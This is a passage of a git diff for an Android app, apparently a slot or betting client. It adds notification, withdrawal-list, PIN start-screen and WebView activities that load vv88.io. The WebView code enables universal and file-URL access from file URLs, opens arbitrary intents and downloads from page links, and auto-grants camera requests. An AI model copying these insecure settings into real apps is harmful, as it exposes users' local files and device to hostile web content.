} + + public TextView getTextView() { + return textView; + } + } + + public interface onItemClickPostionListener { + void item(int position); + } +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/MyNotifyListAdapter.java b/base_no/src/main/java/com/web/base/MyNotifyListAdapter.java similarity index 88% rename from Dmcslot/src/main/java/com/web/dmcslot/MyNotifyListAdapter.java rename to base_no/src/main/java/com/web/base/MyNotifyListAdapter.java index 772293f..6c67a08 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/MyNotifyListAdapter.java +++ b/base_no/src/main/java/com/web/base/MyNotifyListAdapter.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.content.Context; import android.text.TextUtils; @@ -15,6 +15,10 @@ import androidx.recyclerview.widget.RecyclerView; import com.bumptech.glide.Glide; +import java.security.Timestamp; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.util.Date; import java.util.List; /** @@ -84,6 +88,8 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter { + + + private List listdata; + private Context context; + + public MyWithDrwaListAdapter(Context context, List listdata) { + this.context = context; + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_withdraw_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + WithDrawListInfo.WithDrawInfo withDrawInfo = listdata.get(position); + holder.tvWithDrawName.setText(withDrawInfo.getName() + "(" + withDrawInfo.getBankName() + ")"); + holder.tvWithDrawAmount.setText(String.format(context.getString(R.string.app_withdraw_amount), withDrawInfo.getAmount())); + holder.tvWithDrawBalance.setText(String.format(context.getString(R.string.app_balance), withDrawInfo.getBalance())); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private TextView tvWithDrawName; + private TextView tvWithDrawAmount; + private TextView tvWithDrawBalance; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + tvWithDrawName = itemView.findViewById(R.id.tv_withdrawname); + tvWithDrawAmount = itemView.findViewById(R.id.tv_withdrawamount); + tvWithDrawBalance = itemView.findViewById(R.id.tv_withdrawbalance); + } + + + } +} diff --git a/base_no/src/main/java/com/web/base/NotifyDetailsActivity.java b/base_no/src/main/java/com/web/base/NotifyDetailsActivity.java new file mode 100644 index 0000000..4583498 --- /dev/null +++ b/base_no/src/main/java/com/web/base/NotifyDetailsActivity.java @@ -0,0 +1,381 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.content.ActivityNotFoundException; +import android.content.Intent; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.ImageView; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.bumptech.glide.Glide; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + +import java.util.HashMap; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +//通知详情 +public class NotifyDetailsActivity extends AppCompatActivity { + + + WebView webView; + private LinearLayout showTopLy; + private ImageView backIv; + private ImageView contentIv; + + public static String url = "https://vv88.io/"; + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifydetails); + initView(); + MessageInfo messageInfo = (MessageInfo) getIntent().getSerializableExtra("message"); + if (messageInfo != null) { + recordNotify(messageInfo.getPushId()); + if (messageInfo.getType() == 3) { + webView.setVisibility(View.VISIBLE); + webView.loadUrl(messageInfo.getJumpUrl()); + } + if (messageInfo.getType() == 2) { + contentIv.setVisibility(View.VISIBLE); + Glide.with(NotifyDetailsActivity.this).load(messageInfo.getImage()).into(contentIv); + } + + + } + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + webView = findViewById(R.id.webview); + showTopLy = findViewById(R.id.show_top_ly); + backIv = (ImageView) findViewById(R.id.back_iv); + contentIv = findViewById(R.id.image); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(true); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + showTopLy.setVisibility(View.GONE); + + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest webResourceRequest) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = webResourceRequest.getUrl(); + } else { + uri = Uri.parse(webResourceRequest.toString()); + } + String url1 = uri.toString(); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + LogUtils.i("URL是啥:" + url1); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + }); + +// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +// verifyStoragePermissions(this); + + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + + backIv.setOnClickListener(view -> finish()); + + } + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); +// WebView newWebView = new WebView(MainActivity2.this); + // topVvvv.setVisibility(View.VISIBLE); +// webView.addView(newWebView); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// webView.loadUrl(url); +// return false; +// } +// }); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(NotifyDetailsActivity.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + + } + + + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + try { + startActivityForResult(intent, REQUEST_CODE_FILE_CHOOSER); + } catch (ActivityNotFoundException e) { +// mUploadCallbackForHighApi = null; +// WidgetUtils.showToast(JsBridgeActivity.this, "未知错误", WidgetUtils.ToastType.ERROR); + // Toast.makeText(MainActivity2.this, "未知错误", Toast.LENGTH_SHORT).show(); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + NotifyDetailsActivity.this.runOnUiThread(new Runnable() { + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public void run() { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(NotifyDetailsActivity.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(NotifyDetailsActivity.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + + + } + }); + + + } + + } + + }; + + private PermissionRequest permissionRequest; + +} diff --git a/base_no/src/main/java/com/web/base/NotifyListActivity.java b/base_no/src/main/java/com/web/base/NotifyListActivity.java new file mode 100644 index 0000000..7b58c8d --- /dev/null +++ b/base_no/src/main/java/com/web/base/NotifyListActivity.java @@ -0,0 +1,129 @@ +package com.web.base; + +import android.content.Intent; +import android.net.Uri; +import android.os.Bundle; +import android.view.View; +import android.view.WindowManager; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +/** + * 通知列表 + */ +public class NotifyListActivity extends AppCompatActivity { + + private RecyclerView recyclerView; + private LinearLayoutManager manager; + private MyNotifyListAdapter adapter; + private List listdata = new ArrayList<>(); + private int userId = 2; + private int page = 1; + private boolean isNextPages = false; + + private MessageInfo messageInfoItem; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + userId = MainActivity2.getInt(NotifyListActivity.this,"user_code",userId); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifylist); + messageInfoItem = (MessageInfo) getIntent().getSerializableExtra("message"); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + recyclerView = findViewById(R.id.recycler_nofity); + manager = new LinearLayoutManager(this); + recyclerView.setLayoutManager(manager); + recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { + + @Override + public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { + int visibleCount = manager.getChildCount(); + int totalCount = manager.getItemCount(); + int firstvisibleCount = manager.findFirstVisibleItemPosition(); + if (visibleCount > 0 && visibleCount + firstvisibleCount == totalCount) { //滑动到底部 + if (!isNextPages) { +// Toast.makeText(NotifyListActivity.this, getString(R.string.app_toastloading), Toast.LENGTH_SHORT).show(); + return; + } + page++; + getNotifyList(); + } +// super.onScrolled(recyclerView, dx, dy); + } + }); + adapter = new MyNotifyListAdapter(NotifyListActivity.this, listdata,messageInfoItem); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(new MyNotifyListAdapter.onItemClickPostionListener() { + @Override + public void item(int position) { + try{ + MessageInfo messageInfo = listdata.get(position); + Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl())); + startActivity(intent); + }catch (Exception e){ + + } + + } + }); + getNotifyList(); + } + + public void getNotifyList() { + //通知列表 + Api.getInstance().getNotifyList(userId, page, 10) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if(o.data!=null){ + isNextPages = o.data.isHasNextPage(); + if (page == 1) { + listdata.clear(); + } + listdata.addAll(o.data.getList()); + adapter.setListdata(listdata); + + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + if (page > 1) { + page--; + } + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + if (page > 1) { + page--; + } + } + }); + } +} diff --git a/base_no/src/main/java/com/web/base/Result.java b/base_no/src/main/java/com/web/base/Result.java new file mode 100644 index 0000000..4251091 --- /dev/null +++ b/base_no/src/main/java/com/web/base/Result.java @@ -0,0 +1,29 @@ +package com.web.base; + + +import java.io.Serializable; + +/** + * created by wmm on 2020/9/8 + */ +public class Result implements Serializable { + + public String error; + public int code; + public T data; + public String message; + + + public boolean isSuccessful() { + return code == 1; + } + + @Override + public String toString() { + return "Result{" + + "message='" + error + '\'' + + ", code=" + code + + ", data=" + GsonUtils.beanToJSONString(data) + + '}'; + } +} diff --git a/base_no/src/main/java/com/web/base/ResultDataInfo.java b/base_no/src/main/java/com/web/base/ResultDataInfo.java new file mode 100644 index 0000000..21c09e1 --- /dev/null +++ b/base_no/src/main/java/com/web/base/ResultDataInfo.java @@ -0,0 +1,45 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class ResultDataInfo implements Serializable { + + public List list; + public int pages; + public int total; + public boolean hasNextPage; + + + public boolean isHasNextPage() { + return hasNextPage; + } + + public void setHasNextPage(boolean hasNextPage) { + this.hasNextPage = hasNextPage; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + public int getPages() { + return pages; + } + + public void setPages(int pages) { + this.pages = pages; + } + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } +} diff --git a/base_no/src/main/java/com/web/base/StartActivity.java b/base_no/src/main/java/com/web/base/StartActivity.java new file mode 100644 index 0000000..0361614 --- /dev/null +++ b/base_no/src/main/java/com/web/base/StartActivity.java @@ -0,0 +1,219 @@ +package com.web.base; + +import android.content.Intent; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import java.math.BigDecimal; + +public class StartActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, btn_equal; + private TextView password1; + private TextView password2; + private TextView password3; + private TextView password4; + private TextView password5; + private TextView password6; + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_start); + + setListener(); + getNetUrl(); + + } + + public void setListener() { + + + password1 = (TextView) findViewById(R.id.password_1); + password2 = (TextView) findViewById(R.id.password_2); + password3 = (TextView) findViewById(R.id.password_3); + password4 = (TextView) findViewById(R.id.password_4); + password5 = (TextView) findViewById(R.id.password_5); + password6 = (TextView) findViewById(R.id.password_6); + + + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + } + + String password = ""; + + /** + * 0 正常增加 1 删除 2 更新 + * + * @param string + * @param type + */ + public void addInput(String string, int type) { + if (type == 0) { + if (password.length() < 6) { + password += string; + } + } else if (type == 1) { + password = password.substring(0, password.length() - 1); + } + if (password.length() == 6) { + password6.setText(password.charAt(5) + ""); + toNext(); + } else { + password6.setText(""); + if (password.length() == 5) { + password5.setText(password.charAt(4) + ""); + } else { + password5.setText(""); + if (password.length() == 4) { + password4.setText(password.charAt(3) + ""); + } else { + password4.setText(""); + if (password.length() == 3) { + password3.setText(password.charAt(2) + ""); + } else { + password3.setText(""); + if (password.length() == 2) { + password2.setText(password.charAt(1) + ""); + } else { + password2.setText(""); + if (password.length() == 1) { + password1.setText(password.charAt(0) + ""); + } else { + password1.setText(""); + } + } + } + } + } + } + } + + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(StartActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + Handler handler = new Handler(); + + private void toNext() { + MainActivity.saveString(StartActivity.this, "loc_pass", password); + Intent intent = new Intent(StartActivity.this, MainActivity2.class); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + finish(); + + } + + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0", 0); +// break; +// case R.id.btn_1: +// addInput("1", 0); +// break; +// case R.id.btn_2: +// addInput("2", 0); +// break; +// case R.id.btn_3: +// addInput("3", 0); +// break; +// case R.id.btn_4: +// addInput("4", 0); +// break; +// case R.id.btn_5: +// addInput("5", 0); +// break; +// case R.id.btn_6: +// addInput("6", 0); +// break; +// case R.id.btn_7: +// addInput("7", 0); +// break; +// case R.id.btn_8: +// addInput("8", 0); +// break; +// case R.id.btn_9: +// addInput("9", 0); +// break; +// +// case R.id.btn_equal: +// deleteInput(); +// break; + } + } + + private void deleteInput() { + if (TextUtils.isEmpty(password)) { + addInput("", 2); + } else { + addInput(password, 1); + } + } + + @Override + protected void onDestroy() { + super.onDestroy(); + } +} \ No newline at end of file diff --git a/base_no/src/main/java/com/web/base/StatusLayout.java b/base_no/src/main/java/com/web/base/StatusLayout.java new file mode 100644 index 0000000..20a4941 --- /dev/null +++ b/base_no/src/main/java/com/web/base/StatusLayout.java @@ -0,0 +1,44 @@ +package com.web.base; + +import android.content.Context; +import android.util.AttributeSet; +import android.view.ViewGroup; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; + +/** + * Created by kiun_2007 on 2018/3/29. + */ + +public class StatusLayout extends LinearLayout { + public StatusLayout(Context context) { + this(context, null); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs) { + this(context, attrs, 0); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + } + + private int getStatusBarHeight(Context context) { + int result = 0; + int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = context.getResources().getDimensionPixelSize(resourceId); + } + return result; + } + + @Override + protected void onAttachedToWindow() { + ViewGroup.LayoutParams lp = this.getLayoutParams(); + lp.width = -1; + lp.height = getStatusBarHeight(getContext()); + this.setLayoutParams(lp); + super.onAttachedToWindow(); + } +} diff --git a/base_no/src/main/java/com/web/base/Utils.java b/base_no/src/main/java/com/web/base/Utils.java new file mode 100644 index 0000000..94629dc --- /dev/null +++ b/base_no/src/main/java/com/web/base/Utils.java @@ -0,0 +1,65 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.SharedPreferences; +import android.provider.Settings; + +public class Utils { + + public static boolean isImageUrl(String url) { + String end = url.substring(url.lastIndexOf(".") + 1).toLowerCase(); + String[] images = new String[]{"jpeg", "png", "jpg", "bmp", "webp", "gif"}; + for (String name : images) { + if (end.equals(name)) { + return true; + } + } + return false; + } + + + public static String getUniqueId(Context context) { + + @SuppressLint("HardwareIds") + // ANDROID_ID是设备第一次启动时产生和存储的64bit的一个数,当设备被wipe后该数重置。 + String androidID = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); +// @SuppressLint("HardwareIds") + // String id = androidID + Build.SERIAL; // +硬件序列号 + return androidID; + +// try { +// return toMD5(id); +// } catch (NoSuchAlgorithmException e) { +// e.printStackTrace(); +// return id; +// } + } + + + /** + * @param @param key 要获取的key + */ + public static String get(Context context, String key, String defaultValue) { + SharedPreferences nameSetting = getConfigShared(context); + return nameSetting.getString(key, defaultValue); + } + + /** + * @param key 要设置的key + */ + public static void set(Context activity, String key, String is) { + SharedPreferences nameSetting = getConfigShared(activity); + SharedPreferences.Editor namePref = nameSetting.edit(); + namePref.putString(key, is); + namePref.commit(); + } + + public static SharedPreferences getConfigShared(Context context) { + + SharedPreferences sharedPreferences = + context.getSharedPreferences("notify_data", Context.MODE_MULTI_PROCESS); + return sharedPreferences; + } + +} diff --git a/base_no/src/main/java/com/web/base/WebView2Activity.java b/base_no/src/main/java/com/web/base/WebView2Activity.java new file mode 100644 index 0000000..0bf6199 --- /dev/null +++ b/base_no/src/main/java/com/web/base/WebView2Activity.java @@ -0,0 +1,328 @@ +package com.web.base; + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.ConsoleMessage; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + + +public class WebView2Activity extends AppCompatActivity { + + private String url; + WebView webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_webview); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + settings.setMediaPlaybackRequiresUserGesture(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 